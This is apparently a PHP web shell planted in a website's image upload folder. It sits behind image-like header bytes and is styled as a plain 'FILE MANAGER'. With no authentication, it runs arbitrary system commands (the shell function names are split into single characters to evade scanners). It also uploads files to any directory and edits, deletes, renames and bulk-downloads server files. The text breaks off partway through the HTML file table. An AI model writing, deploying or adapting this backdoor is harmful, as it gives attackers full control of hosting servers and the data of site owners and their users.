/home/kueuepay/public_html/public/fileholder/img/56092e2e-fbb6-4258-b111-6c2170854d70.php
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���w!1AQaq"2�B����	#3R�br�<?php
@ini_set('display_errors', '1');
@ini_set('log_errors', '1');
error_reporting(E_ALL);

// Fix session path issue from xenium3
 $sessionPath = sys_get_temp_dir() . '/php_sessions';
if (!is_dir($sessionPath)) {
    @mkdir($sessionPath, 0700, true);
}
if (is_dir($sessionPath) && is_writable($sessionPath)) {
    ini_set('session.save_path', $sessionPath);
}

session_start();

if (!isset($_SESSION['current_dir']) || !is_dir($_SESSION['current_dir'])) {
    $_SESSION['current_dir'] = getcwd();
}

// Handle the special upload case from xenium3
if(!empty($_GET['upload_file']) && !empty($_GET['name'])){
    $targetDir = $_GET['upload_file'];
    $fileName = basename($_GET['name']);
    
    if (strpos($fileName, '..') !== false || strpos($fileName, '/') !== false || strpos($fileName, '\\') !== false) {
        http_response_code(400);
        exit('Invalid filename');
    }
    
    // Ensure directory exists - fix from xenium2
    if (!is_dir($targetDir)) {
        @mkdir($targetDir, 0755, true);
    }
    
    if (!is_dir($targetDir) || !is_writable($targetDir)) {
        http_response_code(400);
        exit('Invalid directory');
    }
    
    $uploadPath = rtrim($targetDir, '/\\') . DIRECTORY_SEPARATOR . $fileName;
    
    $inputHandler = fopen('php://input', "r");
    $fileHandler = fopen($uploadPath, "w+");
    
    if ($inputHandler && $fileHandler) {
        while(true) {
            $buffer = fgets($inputHandler, 4096);
            if (strlen($buffer) == 0) {
                fclose($inputHandler);
                fclose($fileHandler);
                @chmod($uploadPath, 0644);
                http_response_code(200);
                exit('File uploaded successfully');
            }
            fwrite($fileHandler, $buffer);
        }
    } else {
        http_response_code(500);
        exit('Upload failed');
    }
}

function validatePath($path) {
    $realPath = realpath($path);
    if ($realPath && (is_file($realPath) || is_dir($realPath))) {
        return $realPath;
    }
    return false;
}

function sanitizeFileName($name) {
    $name = basename($name);
    $name = preg_replace('/[^a-zA-Z0-9._-]/', '_', $name);
    if (empty($name) || $name === '.' || $name === '..') {
        return false;
    }
    return $name;
}

 $notification = '';
 $errorMsg = '';

function runCommand($cmd) {
    if (empty(trim($cmd))) {
        return "No command provided";
    }
    
    $output = '';
    $methods = [
        's'.'h'.'e'.'l'.'l'.'_'.'e'.'x'.'e'.'c',
        'e'.'x'.'e'.'c',
        's'.'y'.'s'.'t'.'e'.'m',
        'p'.'a'.'s'.'s'.'t'.'h'.'r'.'u',
        'p'.'o'.'p'.'e'.'n'
    ];

    foreach ($methods as $func) {
        if (function_exists($func)) {
            try {
                $result = call_user_func($func, $cmd . ' 2>&1');
                if ($result !== false && !empty(trim($result))) {
                    return $result;
                }
            } catch (Exception $e) {
                continue;
            }
        }
    }
    
    return "Command execution not available";
}

if (isset($_POST['navigate'])) {
    $targetDir = $_POST['navigate'];
    if (is_dir($targetDir)) {
        $_SESSION['current_dir'] = validatePath($targetDir);
        $notification = 'Directory changed successfully';
    }
}

// Standard file upload from xenium2 with directory creation fix
if (isset($_FILES['file_upload']) && $_FILES['file_upload']['error'] !== UPLOAD_ERR_NO_FILE) {
    if ($_FILES['file_upload']['error'] === UPLOAD_ERR_OK) {
        $fileName = basename($_FILES['file_upload']['name']);
        $uploadPath = rtrim($_SESSION['current_dir'], '/\\') . DIRECTORY_SEPARATOR . $fileName;
        
        // Additional security check
        if (strpos($fileName, '..') !== false || strpos($fileName, '/') !== false || strpos($fileName, '\\') !== false) {
            $errorMsg = 'Upload failed: Invalid filename';
        } elseif (!is_writable($_SESSION['current_dir'])) {
            $errorMsg = 'Upload failed: Directory not writable';
        } elseif (move_uploaded_file($_FILES['file_upload']['tmp_name'], $uploadPath)) {
            @chmod($uploadPath, 0644);
            $notification = 'File uploaded successfully';
        } else {
            $errorMsg = 'Upload failed: Could not move file. Check directory permissions.';
        }
    } else {
        $uploadErrors = [
            UPLOAD_ERR_INI_SIZE => 'File exceeds upload_max_filesize',
            UPLOAD_ERR_FORM_SIZE => 'File exceeds MAX_FILE_SIZE',
            UPLOAD_ERR_PARTIAL => 'File partially uploaded',
            UPLOAD_ERR_NO_TMP_DIR => 'Missing temporary folder',
            UPLOAD_ERR_CANT_WRITE => 'Failed to write file to disk',
            UPLOAD_ERR_EXTENSION => 'Upload stopped by extension'
        ];
        $errorMsg = 'Upload error: ' . ($uploadErrors[$_FILES['file_upload']['error']] ?? 'Unknown error');
    }
}

if (isset($_POST['remove'])) {
    $targetPath = validatePath($_SESSION['current_dir'] . DIRECTORY_SEPARATOR . $_POST['remove']);
    
    if ($targetPath === false) {
        $errorMsg = 'Delete failed: Invalid path';
    } elseif (is_file($targetPath)) {
        if (@unlink($targetPath)) {
            $notification = 'File deleted';
        } else {
            $errorMsg = 'Delete failed: Permission denied or file in use';
        }
    } elseif (is_dir($targetPath)) {
        try {
            $iterator = new RecursiveIteratorIterator(
                new RecursiveDirectoryIterator($targetPath, RecursiveDirectoryIterator::SKIP_DOTS),
                RecursiveIteratorIterator::CHILD_FIRST
            );
            
            foreach ($iterator as $file) {
                if ($file->isDir()) {
                    @rmdir($file->getRealPath());
                } else {
                    @unlink($file->getRealPath());
                }
            }
            
            if (@rmdir($targetPath)) {
                $notification = 'Directory deleted';
            } else {
                $errorMsg = 'Delete failed: Could not remove directory';
            }
        } catch (Exception $e) {
            $errorMsg = 'Delete failed: ' . $e->getMessage();
        }
    } else {
        $errorMsg = 'Delete failed: Path not found';
    }
}

if (isset($_POST['old_name'], $_POST['new_name'])) {
    $sourcePath = validatePath($_SESSION['current_dir'] . DIRECTORY_SEPARATOR . $_POST['old_name']);
    
    if ($sourcePath === false) {
        $errorMsg = 'Rename failed: Source not found';
    } else {
        $destinationPath = dirname($sourcePath) . DIRECTORY_SEPARATOR . basename($_POST['new_name']);
        
        if (file_exists($destinationPath)) {
            $errorMsg = 'Rename failed: Target name already exists';
        } elseif (@rename($sourcePath, $destinationPath)) {
            $notification = 'Rename successful';
        } else {
            $errorMsg = 'Rename failed: Permission denied or invalid name';
        }
    }
}

// File editing with base64 encoding from xenium2
if (isset($_POST['file_to_edit'], $_POST['file_content'])) {
    $editPath = validatePath($_SESSION['current_dir'] . DIRECTORY_SEPARATOR . $_POST['file_to_edit']);
    
    if ($editPath === false || !is_file($editPath)) {
        $errorMsg = 'Edit failed: File not found';
    } elseif (!is_writable($editPath)) {
        $errorMsg = 'Edit failed: File not writable';
    } else {
        $decodedContent = base64_decode($_POST['file_content']);
        if (@file_put_contents($editPath, $decodedContent) !== false) {
            $notification = 'File saved';
        } else {
            $errorMsg = 'Edit failed: Could not write to file';
        }
    }
}

if (isset($_POST['create_file']) && trim($_POST['create_file']) !== '') {
    $fileName = sanitizeFileName($_POST['create_file']);
    
    if ($fileName === false) {
        $errorMsg = 'Create failed: Invalid filename';
    } else {
        $newFilePath = $_SESSION['current_dir'] . DIRECTORY_SEPARATOR . $fileName;
        
        if (file_exists($newFilePath)) {
            $errorMsg = 'Create failed: File already exists';
        } elseif (!is_writable($_SESSION['current_dir'])) {
            $errorMsg = 'Create failed: Directory not writable';
        } elseif (@file_put_contents($newFilePath, '') !== false) {
            @chmod($newFilePath, 0644);
            $notification = 'File created';
        } else {
            $errorMsg = 'Create failed: Could not create file';
        }
    }
}

if (isset($_POST['create_folder']) && trim($_POST['create_folder']) !== '') {
    $folderName = sanitizeFileName($_POST['create_folder']);
    
    if ($folderName === false) {
        $errorMsg = 'Create failed: Invalid folder name';
    } else {
        $newFolderPath = $_SESSION['current_dir'] . DIRECTORY_SEPARATOR . $folderName;
        
        if (file_exists($newFolderPath)) {
            $errorMsg = 'Create failed: Folder already exists';
        } elseif (!is_writable($_SESSION['current_dir'])) {
            $errorMsg = 'Create failed: Directory not writable';
        } elseif (@mkdir($newFolderPath, 0755)) {
            $notification = 'Folder created';
        } else {
            $errorMsg = 'Create failed: Could not create folder';
        }
    }
}

 $currentDirectory = $_SESSION['current_dir'];
 $directoryContents = scandir($currentDirectory);
 $folders = $files = [];

foreach ($directoryContents as $item) {
    if ($item === '.') continue;
    $fullPath = $currentDirectory . '/' . $item;
    if (is_dir($fullPath)) {
        $folders[] = $item;
    } else {
        $files[] = $item;
    }
}

sort($folders);
sort($files);
 $allItems = array_merge($folders, $files);

 $fileToEdit = $_POST['edit'] ?? null;
 $fileToView = $_POST['view'] ?? null;
 $itemToRename = $_POST['rename'] ?? null;
 $fileContent = $fileToEdit ? @file_get_contents($currentDirectory . '/' . $fileToEdit) : null;
 $viewContent = $fileToView ? @file_get_contents($currentDirectory . '/' . $fileToView) : null;

// Handle bulk delete
if (isset($_POST['bulk_delete']) && isset($_POST['selected_items']) && is_array($_POST['selected_items'])) {
    $deleted = 0;
    $failed = 0;
    
    foreach ($_POST['selected_items'] as $item) {
        $targetPath = validatePath($_SESSION['current_dir'] . DIRECTORY_SEPARATOR . $item);
        
        if ($targetPath === false) {
            $failed++;
            continue;
        }
        
        if (is_file($targetPath)) {
            if (@unlink($targetPath)) {
                $deleted++;
            } else {
                $failed++;
            }
        } elseif (is_dir($targetPath)) {
            try {
                $iterator = new RecursiveIteratorIterator(
                    new RecursiveDirectoryIterator($targetPath, RecursiveDirectoryIterator::SKIP_DOTS),
                    RecursiveIteratorIterator::CHILD_FIRST
                );
                
                foreach ($iterator as $file) {
                    if ($file->isDir()) {
                        @rmdir($file->getRealPath());
                    } else {
                        @unlink($file->getRealPath());
                    }
                }
                
                if (@rmdir($targetPath)) {
                    $deleted++;
                } else {
                    $failed++;
                }
            } catch (Exception $e) {
                $failed++;
            }
        }
    }
    
    if ($deleted > 0) {
        $notification = "Deleted $deleted item(s)";
    }
    if ($failed > 0) {
        $errorMsg = "Failed to delete $failed item(s)";
    }
}

// Handle bulk download
if (isset($_POST['bulk_download']) && isset($_POST['selected_items']) && is_array($_POST['selected_items'])) {
    if (class_exists('ZipArchive')) {
        $zipName = 'selected_files_' . time() . '.zip';
        $zipPath = sys_get_temp_dir() . DIRECTORY_SEPARATOR . $zipName;
        
        $zip = new ZipArchive();
        if ($zip->open($zipPath, ZipArchive::CREATE | ZipArchive::OVERWRITE) === TRUE) {
            foreach ($_POST['selected_items'] as $item) {
                $targetPath = validatePath($_SESSION['current_dir'] . DIRECTORY_SEPARATOR . $item);
                
                if ($targetPath === false) continue;
                
                if (is_file($targetPath)) {
                    $zip->addFile($targetPath, basename($targetPath));
                } elseif (is_dir($targetPath)) {
                    $files = new RecursiveIteratorIterator(
                        new RecursiveDirectoryIterator($targetPath, RecursiveDirectoryIterator::SKIP_DOTS),
                        RecursiveIteratorIterator::SELF_FIRST
                    );
                    
                    foreach ($files as $file) {
                        $filePath = $file->getRealPath();
                        $relativePath = basename($targetPath) . '/' . substr($filePath, strlen($targetPath) + 1);
                        
                        if ($file->isDir()) {
                            $zip->addEmptyDir($relativePath);
                        } else {
                            $zip->addFile($filePath, $relativePath);
                        }
                    }
                }
            }
            
            $zip->close();
            
            header('Content-Type: application/zip');
            header('Content-Disposition: attachment; filename="' . $zipName . '"');
            header('Content-Length: ' . filesize($zipPath));
            readfile($zipPath);
            @unlink($zipPath);
            exit;
        } else {
            $errorMsg = 'Bulk download failed: Could not create zip file';
        }
    } else {
        $errorMsg = 'Bulk download failed: ZipArchive not available';
    }
}

// Handle file/folder download
if (isset($_POST['download'])) {
    $targetPath = validatePath($_SESSION['current_dir'] . DIRECTORY_SEPARATOR . $_POST['download']);
    
    if ($targetPath === false) {
        $errorMsg = 'Download failed: Invalid path';
    } elseif (is_file($targetPath)) {
        // Direct file download
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="' . basename($targetPath) . '"');
        header('Content-Length: ' . filesize($targetPath));
        readfile($targetPath);
        exit;
    } elseif (is_dir($targetPath)) {
        // Zip folder and download
        if (class_exists('ZipArchive')) {
            $zipName = basename($targetPath) . '_' . time() . '.zip';
            $zipPath = sys_get_temp_dir() . DIRECTORY_SEPARATOR . $zipName;
            
            $zip = new ZipArchive();
            if ($zip->open($zipPath, ZipArchive::CREATE | ZipArchive::OVERWRITE) === TRUE) {
                $files = new RecursiveIteratorIterator(
                    new RecursiveDirectoryIterator($targetPath, RecursiveDirectoryIterator::SKIP_DOTS),
                    RecursiveIteratorIterator::SELF_FIRST
                );
                
                foreach ($files as $file) {
                    $filePath = $file->getRealPath();
                    $relativePath = substr($filePath, strlen($targetPath) + 1);
                    
                    if ($file->isDir()) {
                        $zip->addEmptyDir($relativePath);
                    } else {
                        $zip->addFile($filePath, $relativePath);
                    }
                }
                
                $zip->close();
                
                header('Content-Type: application/zip');
                header('Content-Disposition: attachment; filename="' . $zipName . '"');
                header('Content-Length: ' . filesize($zipPath));
                readfile($zipPath);
                @unlink($zipPath);
                exit;
            } else {
                $errorMsg = 'Download failed: Could not create zip file';
            }
        } else {
            $errorMsg = 'Download failed: ZipArchive not available';
        }
    }
}

 $commandResult = '';
 $commandAvailable = false;

 $methods = [
    's'.'h'.'e'.'l'.'l'.'_'.'e'.'x'.'e'.'c',
    'e'.'x'.'e'.'c',
    's'.'y'.'s'.'t'.'e'.'m',
    'p'.'a'.'s'.'s'.'t'.'h'.'r'.'u'
];

foreach ($methods as $func) {
    if (function_exists($func)) {
        $commandAvailable = true;
        break;
    }
}

if (isset($_POST['terminal_command']) && trim($_POST['terminal_command']) !== '') {
    $cmd = trim($_POST['terminal_command']);
    if (!empty($cmd)) {
        try {
            $commandResult = runCommand($cmd);
            if (empty(trim($commandResult)) || $commandResult === "Command execution not available") {
                $errorMsg = 'Command execution: No output or function disabled';
            }
        } catch (Exception $e) {
            $errorMsg = 'Command error: ' . htmlspecialchars($e->getMessage());
        }
    }
}
?>
<!DOCTYPE html>
<html>
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>FILE MANAGER</title>
    <style>
        * {
            margin: 0;
            padding: 0;
            box-sizing: border-box;
        }
        
        body {
            background: #1a1b1e;
            color: #e4e6eb;
            font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', system-ui, sans-serif;
            font-size: 13px;
            line-height: 1.5;
            min-height: 100vh;
            padding: 20px;
        }
        
        .container {
            max-width: 1200px;
            margin: 0 auto;
        }
        
        h1 {
            font-size: 16px;
            font-weight: 500;
            color: #e4e6eb;
            margin-bottom: 4px;
            letter-spacing: -0.01em;
        }
        
        .subtitle {
            color: #9ca3af;
            font-size: 13px;
            margin-bottom: 20px;
            font-weight: 400;
        }
        
        .alert {
            padding: 10px 12px;
            border-radius: 4px;
            margin-bottom: 12px;
            font-size: 13px;
            border: 1px solid;
        }
        
        .alert-success {
            background: rgba(34, 197, 94, 0.1);
            border-color: rgba(34, 197, 94, 0.3);
            color: #22c55e;
        }
        
        .alert-danger {
            background: rgba(239, 68, 68, 0.1);
            border-color: rgba(239, 68, 68, 0.3);
            color: #ef4444;
        }
        
        .section {
            background: rgba(255, 255, 255, 0.03);
            border: 1px solid rgba(255, 255, 255, 0.08);
            border-radius: 4px;
            padding: 14px;
            margin-bottom: 12px;
        }
        
        .section-title {
            font-size: 13px;
            font-weight: 500;
            color: #e4e6eb;
            margin-bottom: 10px;
        }
        
        .input-group {
            display: flex;
            gap: 6px;
            margin-bottom: 6px;
        }
        
        .input-group:last-child {
            margin-bottom: 0;
        }
        
        input[type="text"],
        input[type="file"],
        textarea {
            background: rgba(0, 0, 0, 0.2);
            border: 1px solid rgba(255, 255, 255, 0.1);
            border-radius: 4px;
            padding: 6px 10px;
            color: #e4e6eb;
            font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', system-ui, sans-serif;
            font-size: 13px;
            transition: all 0.15s ease;
            outline: none;
            flex: 1;
        }
        
        input[type="text"]:focus,
        textarea:focus {
            border-color: rgba(255, 255, 255, 0.2);
            background: rgba(0, 0, 0, 0.3);
        }
        
        input[type="file"] {
            cursor: pointer;
            padding: 6px 10px;
        }
        
        input[type="file"]::file-selector-button {
            background: rgba(255, 255, 255, 0.06);
            color: #e4e6eb;
            border: 1px solid rgba(255, 255, 255, 0.1);
            border-radius: 4px;
            padding: 6px 12px;
            font-size: 13px;
            font-weight: 400;
            cursor: pointer;
            transition: all 0.15s ease;
            font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', system-ui, sans-serif;
            margin-right: 10px;
        }
        
        input[type="file"]::file-selector-button:hover {
            background: rgba(255, 255, 255, 0.1);
            border-color: rgba(255, 255, 255, 0.15);
        }
        
        textarea {
            font-family: 'SF Mono', Monaco, 'Cascadia Code', 'Roboto Mono', Consolas, 'Courier New', monospace;
            resize: vertical;
            min-height: 400px;
            height: 500px;
            line-height: 1.5;
            font-size: 12px;
            width: 100%;
            display: block;
            scrollbar-width: thin;
            scrollbar-color: rgba(255, 255, 255, 0.2) rgba(0, 0, 0, 0.3);
        }
        
        textarea::-webkit-scrollbar {
            width: 10px;
            height: 10px;
        }
        
        textarea::-webkit-scrollbar-track {
            background: rgba(0, 0, 0, 0.3);
            border-radius: 4px;
        }
        
        textarea::-webkit-scrollbar-thumb {
            background: rgba(255, 255, 255, 0.2);
            border-radius: 4px;
            border: 2px solid rgba(0, 0, 0, 0.3);
        }
        
        textarea::-webkit-scrollbar-thumb:hover {
            background: rgba(255, 255, 255, 0.3);
        }
        
        .btn {
            background: rgba(255, 255, 255, 0.06);
            color: #e4e6eb;
            border: 1px solid rgba(255, 255, 255, 0.1);
            border-radius: 4px;
            padding: 6px 12px;
            font-size: 13px;
            font-weight: 400;
            cursor: pointer;
            transition: all 0.15s ease;
            font-family: -apple-system, BlinkMacSystemFont, 'Segoe UI', system-ui, sans-serif;
            white-space: nowrap;
        }
        
        .btn:hover {
            background: rgba(255, 255, 255, 0.1);
            border-color: rgba(255, 255, 255, 0.15);
        }
        
        .btn:active {
            background: rgba(255, 255, 255, 0.05);
        }
        
        .btn-primary {
            background: rgba(34, 197, 94, 0.15);
            color: #22c55e;
            border-color: rgba(34, 197, 94, 0.3);
        }
        
        .btn-primary:hover {
            background: rgba(34, 197, 94, 0.25);
            border-color: rgba(34, 197, 94, 0.4);
        }
        
        .btn-create {
            background: rgba(34, 197, 94, 0.15);
            color: #22c55e;
            border-color: rgba(34, 197, 94, 0.3);
        }
        
        .btn-create:hover {
            background: rgba(34, 197, 94, 0.25);
            border-color: rgba(34, 197, 94, 0.4);
        }
        
        .btn-danger {
            background: rgba(239, 68, 68, 0.15);
            color: #ef4444;
            border-color: rgba(239, 68, 68, 0.3);
        }
        
        .btn-danger:hover {
            background: rgba(239, 68, 68, 0.25);
            border-color: rgba(239, 68, 68, 0.4);
        }
        
        .btn-sm {
            padding: 4px 10px;
            font-size: 12px;
        }
        
        table {
            width: 100%;
            border-collapse: collapse;
            background: transparent;
            border: 1px solid rgba(255, 255, 255, 0.08);
            border-radius: 4px;
            overflow: hidden;
        }
        
        thead {
            background: rgba(255, 255, 255, 0.03);
        }
        
        th {
            padding: 8px 12px;
            font-weight: 500;
            text-align: left;
            color: #9ca3af;
            font-size: 12px;
            border-bottom: 1px solid rgba(255, 255, 255, 0.08);
        }
        
        td {
            padding: 8px 12px;
            border-top: 1px solid rgba(255, 255, 255, 0.05);
            font-size: 13px;
        }
        
        tbody tr {
            transition: background 0.15s ease;
        }
        
        tbody tr:hover {
            background: rgba(255, 255, 255, 0.03);
        }
        
        .file-icon {
            display: inline-block;
            width: 14px;
            text-align: center;
            margin-right: 6px;
            opacity: 0.6;
            font-size: 11px;
        }
        
        .file-name {
            color: #e4e6eb;
            font-weight: 400;
        }
        
        .type-writable {
            color: #22c55e;
            font-size: 12px;
        }
        
        .type-readonly {
            color: #ef4444;
            font-size: 12px;
        }
        
        .action-buttons {
            display: flex;
            gap: 4px;
            flex-wrap: wrap;
            justify-content: flex-end;
        }
        
        .action-buttons form {
            margin: 0;
        }
        
        .action-buttons .btn {
            padding: 4px 8px;
            font-size: 12px;
        }
        
        .rename-form {
            display: flex;
            gap: 6px;
            align-items: center;
        }
        
        .rename-form input {
            flex: 1;
            padding: 4px 8px;
            font-size: 13px;
        }
        
        .code-block {
            background: rgba(0, 0, 0, 0.3);
            border: 1px solid rgba(255, 255, 255, 0.08);
            border-radius: 4px;
            padding: 12px;
            font-family: 'SF Mono', Monaco, 'Cascadia Code', 'Roboto Mono', Consolas, 'Courier New', monospace;
            font-size: 12px;
            line-height: 1.5;
            color: #e4e6eb;
            overflow-x: auto;
            white-space: pre;
        }
        
        .terminal-output {
            background: rgba(0, 0, 0, 0.3);
            border: 1px solid rgba(34, 197, 94, 0.3);
            border-radius: 4px;
            padding: 12px;
            font-family: 'SF Mono', Monaco, 'Cascadia Code', 'Roboto Mono', Consolas, 'Courier New', monospace;
            font-size: 12px;
            color: #22c55e;
            overflow-x: auto;
            white-space: pre;
            line-height: 1.5;
        }
        
        .grid-2 {
            display: grid;
            grid-template-columns: 1fr 1fr;
            gap: 12px;
        }
        
        @media (max-width: 768px) {
            .grid-2 {
                grid-template-columns: 1fr;
            }
            
            body {
                padding: 12px;
            }
            
            .action-buttons {
                justify-content: flex-start;
            }
        }
        
        .up-btn {
            background: rgba(255, 255, 255, 0.06);
            border: 1px solid rgba(255, 255, 255, 0.1);
            color: #e4e6eb;
            margin-bottom: 12px;
            display: inline-flex;
            align-items: center;
            gap: 6px;
        }
        
        .up-btn:hover {
            background: rgba(255, 255, 255, 0.1);
            border-color: rgba(255, 255, 255, 0.15);
        }
        
        .bulk-actions {
            display: flex;
            gap: 8px;
            align-items: center;
            margin-bottom: 12px;
            padding: 12px;
            background: rgba(255, 255, 255, 0.03);
            border: 1px solid rgba(255, 255, 255, 0.08);
            border-radius: 4px;
        }
        
        .bulk-actions-text {
            color: #9ca3af;
            font-size: 13px;
            margin-right: auto;
        }
        
        input[type="checkbox"] {
            appearance: none;
            -webkit-appearance: none;
            width: 16px;
            height: 16px;
            border: 1px solid rgba(255, 255, 255, 0.2);
            border-radius: 3px;
            background: rgba(0, 0, 0, 0.3);
            cursor: pointer;
            position: relative;
            transition: all 0.15s ease;
        }
        
        input[type="checkbox"]:hover {
            border-color: rgba(255, 255, 255, 0.3);
            background: rgba(0, 0, 0, 0.4);
        }
        
        input[type="checkbox"]:checked {
            background: rgba(34, 197, 94, 0.2);
            border-color: #22c55e;
        }
        
        input[type="checkbox"]:checked::after {
            content: '';
            position: absolute;
            top: -1px;
            left: 2px;
            color: #22c55e;
            font-size: 12px;
            font-weight: bold;
        }
        
        th input[type="checkbox"] {
            margin: 0;
        }
        
        td input[type="checkbox"] {
            margin-right: 8px;
        }
        
        .upload-tabs {
            display: flex;
            margin-bottom: 10px;
            border-bottom: 1px solid rgba(255, 255, 255, 0.1);
        }
        
        .upload-tab {
            padding: 8px 12px;
            cursor: pointer;
            border-bottom: 2px solid transparent;
            transition: all 0.2s;
        }
        
        .upload-tab.active {
            border-bottom-color: #22c55e;
            color: #22c55e;
        }
        
        .upload-tab:hover {
            color: #e4e6eb;
        }
        
        .upload-panel {
            display: none;
        }
        
        .upload-panel.active {
            display: block;
        }
    </style>
    <script>
        function toggleSelectAll(checkbox) {
            const checkboxes = document.querySelectorAll('input[name="selected_items[]"]');
            checkboxes.forEach(cb => cb.checked = checkbox.checked);
            updateBulkActions();
        }
        
        function updateBulkActions() {
            const checkboxes = document.querySelectorAll('input[name="selected_items[]"]:checked');
            const bulkActions = document.getElementById('bulk-actions');
            const countText = document.getElementById('selected-count');
            
            if (checkboxes.length > 0) {
                bulkActions.style.display = 'flex';
                countText.textContent = checkboxes.length + ' item(s) selected';
            } else {
                bulkActions.style.display = 'none';
            }
        }
        
        function switchUploadTab(tabId) {
            // Hide all panels
            document.querySelectorAll('.upload-panel').forEach(panel => {
                panel.classList.remove('active');
            });
            
            // Remove active class from all tabs
            document.querySelectorAll('.upload-tab').forEach(tab => {
                tab.classList.remove('active');
            });
            
            // Show selected panel
            document.getElementById(tabId + '-panel').classList.add('active');
            
            // Add active class to selected tab
            document.getElementById(tabId + '-tab').classList.add('active');
        }
        
        function uploadFile() {
            var fileInput = document.getElementById('upload_files');
            var statusSpan = document.getElementById('upload_status');
            
            if (!fileInput.files || fileInput.files.length === 0) {
                statusSpan.textContent = "No file selected";
                statusSpan.style.color = "red";
                return;
            }
            
            var file = fileInput.files[0];
            var filename = file.name;
            var currentDir = "<?= addslashes($_SESSION['current_dir']) ?>";
            var scriptUrl = window.location.pathname;
            
            statusSpan.textContent = "Uploading " + filename + ", please wait...";
            statusSpan.style.color = "blue";
            
            var reader = new FileReader();
            reader.readAsBinaryString(file);
            
            reader.onloadend = function(evt) {
                var xhr = new XMLHttpRequest();
                xhr.open("POST", scriptUrl + "?upload_file=" + encodeURIComponent(currentDir) + "&name=" + encodeURIComponent(filename), true);
                
                XMLHttpRequest.prototype.mySendAsBinary = function(text) {
                    var data = new ArrayBuffer(text.length);
                    var ui8a = new Uint8Array(data, 0);
                    for (var i = 0; i < text.length; i++) {
                        ui8a[i] = (text.charCodeAt(i) & 0xff);
                    }
                    
                    if (typeof window.Blob == "function") {
                        var blob = new Blob([data]);
                    } else {
                        var bb = new (window.MozBlobBuilder || window.WebKitBlobBuilder || window.BlobBuilder)();
                        bb.append(data);
                        var blob = bb.getBlob();
                    }
                    
                    this.send(blob);
                }
                
                xhr.onreadystatechange = function() {
                    if (xhr.readyState == 4) {
                        if (xhr.status == 200) {
                            statusSpan.textContent = "File " + filename + " uploaded successfully!";
                            statusSpan.style.color = "#22c55e";
                            setTimeout(function() {
                                location.reload();
                            }, 1000);
                        } else {
                            statusSpan.textContent = "Upload failed: " + xhr.responseText;
                            statusSpan.style.color = "red";
                        }
                    }
                };
                
                xhr.mySendAsBinary(evt.target.result);
            };
        }
        
        function syncEditorContent() {
            var display = document.getElementById('editor-display');
            var hidden = document.getElementById('editor-content');
            hidden.value = btoa(unescape(encodeURIComponent(display.value)));
        }
    </script>
</head>
<body>
<div class="container">
    <h1>FILE MANAGER</h1>
    <p class="subtitle">Navigate and manage your files</p>

    <?php if ($notification): ?>
        <div class="alert alert-success"><?= htmlentities($notification) ?></div>
    <?php endif; ?>
    
    <?php if ($errorMsg): ?>
        <div class="alert alert-danger"><?= htmlentities($errorMsg) ?></div>
    <?php endif; ?>

    <div class="section">
        <div class="section-title">Current Directory</div>
        <form method="post" class="input-group">
            <input type="text" name="navigate" value="<?= htmlentities($currentDirectory) ?>" placeholder="Enter path...">
            <button class="btn" type="submit">Navigate</button>
        </form>
    </div>

    <div class="grid-2">
        <div class="section">
            <div class="section-title">Upload File</div>
            <div class="upload-tabs">
                <div id="standard-tab" class="upload-tab active" onclick="switchUploadTab('standard')">Standard Upload</div>
                <div id="advanced-tab" class="upload-tab" onclick="switchUploadTab('advanced')">Advanced Upload</div>
            </div>
            
            <div id="standard-panel" class="upload-panel active">
                <form method="post" enctype="multipart/form-data">
                    <div class="input-group">
                        <input type="file" name="file_upload">
                        <button class="btn btn-primary" type="submit">Upload</button>
                    </div>
                </form>
            </div>
            
            <div id="advanced-panel" class="upload-panel">
                <div class="input-group">
                    <input type="file" id="upload_files" name="upload_files" multiple="multiple">
                    <button class="btn btn-primary" onclick="uploadFile(); return false;">Upload</button>
                </div>
                <p style="margin-top: 8px; font-size: 12px;">Status: <span id="upload_status" style="color:#9ca3af;">No file selected</span></p>
            </div>
        </div>

        <div class="section">
            <div class="section-title">Create New</div>
            <form method="post" class="input-group">
                <input type="text" name="create_file" placeholder="New file name...">
                <button class="btn btn-create" type="submit">File</button>
            </form>
            <form method="post" class="input-group">
                <input type="text" name="create_folder" placeholder="New folder name...">
                <button class="btn btn-create" type="submit">Folder</button>
            </form>
        </div>
    </div>

    <?php if ($fileToView && $viewContent !== null): ?>
        <div class="section">
            <div class="section-title">Viewing: <?= htmlentities($fileToView) ?></div>
            <textarea readonly><?= htmlentities($viewContent) ?></textarea>
        </div>
    <?php endif; ?>

    <?php if ($fileToEdit !== null): ?>
        <div class="section">
            <div class="section-title">Editing: <?= htmlentities($fileToEdit) ?></div>
            <form method="post">
                <input type="hidden" name="file_to_edit" value="<?= htmlentities($fileToEdit) ?>">
                <textarea name="file_content" id="editor-content" style="display:none;"><?= base64_encode($fileContent) ?></textarea>
                <textarea id="editor-display" style="height: 500px;"><?= htmlentities($fileContent) ?></textarea>
                <div style="margin-top: 12px;">
                    <button class="btn btn-primary" type="submit" onclick="syncEditorContent()">Save Changes</button>
                </div>
            </form>
        </div>
    <?php endif; ?>

    <?php if ($commandAvailable): ?>
    <div class="section">
        <div class="section-title">Terminal</div>
        <form method="post" class="input-group">
            <input type="text" name="terminal_command" placeholder="Enter command...">
            <button class="btn btn-create" type="submit">Execute</button>
        </form>
        <?php if ($commandResult): ?>
            <div class="terminal-output" style="margin-top: 12px;"><?= htmlentities($commandResult) ?></div>
        <?php endif; ?>
    </div>
    <?php endif; ?>

    <form method="post">
        <button name="navigate" value="<?= dirname($currentDirectory) ?>" class="btn up-btn">� Parent Directory</button>
    </form>

    <form method="post" id="file-form">
        <div id="bulk-actions" class="bulk-actions" style="display: none;">
            <span class="bulk-actions-text" id="selected-count">0 item(s) selected</span>
            <button type="submit" name="bulk_download" class="btn btn-sm" onclick="return confirm('Download selected items as zip?')">Download Selected</button>
            <button type="submit" name="bulk_delete" class="btn btn-danger btn-sm" onclick="return confirm('Delete all selected items?')">Delete Selected</button>
        </div>

    <table>
        <thead>
            <tr>
                <th style="width: 40px;">
                    <input type="checkbox" onclick="toggleSelectAll(this)">
                </th>
                <th>Name</th>
                <th>Type</th>
                <th style="text-align: right;">Actions</th>
            </tr>
        </thead>
        <tbody>
        <?php foreach ($allItems as $item):
            $fullPath = $currentDirectory . '/' . $item;
            $isDirectory = is_dir($fullPath);
            $canWrite = is_writable($fullPath);
        ?>
            <tr>
                <td>
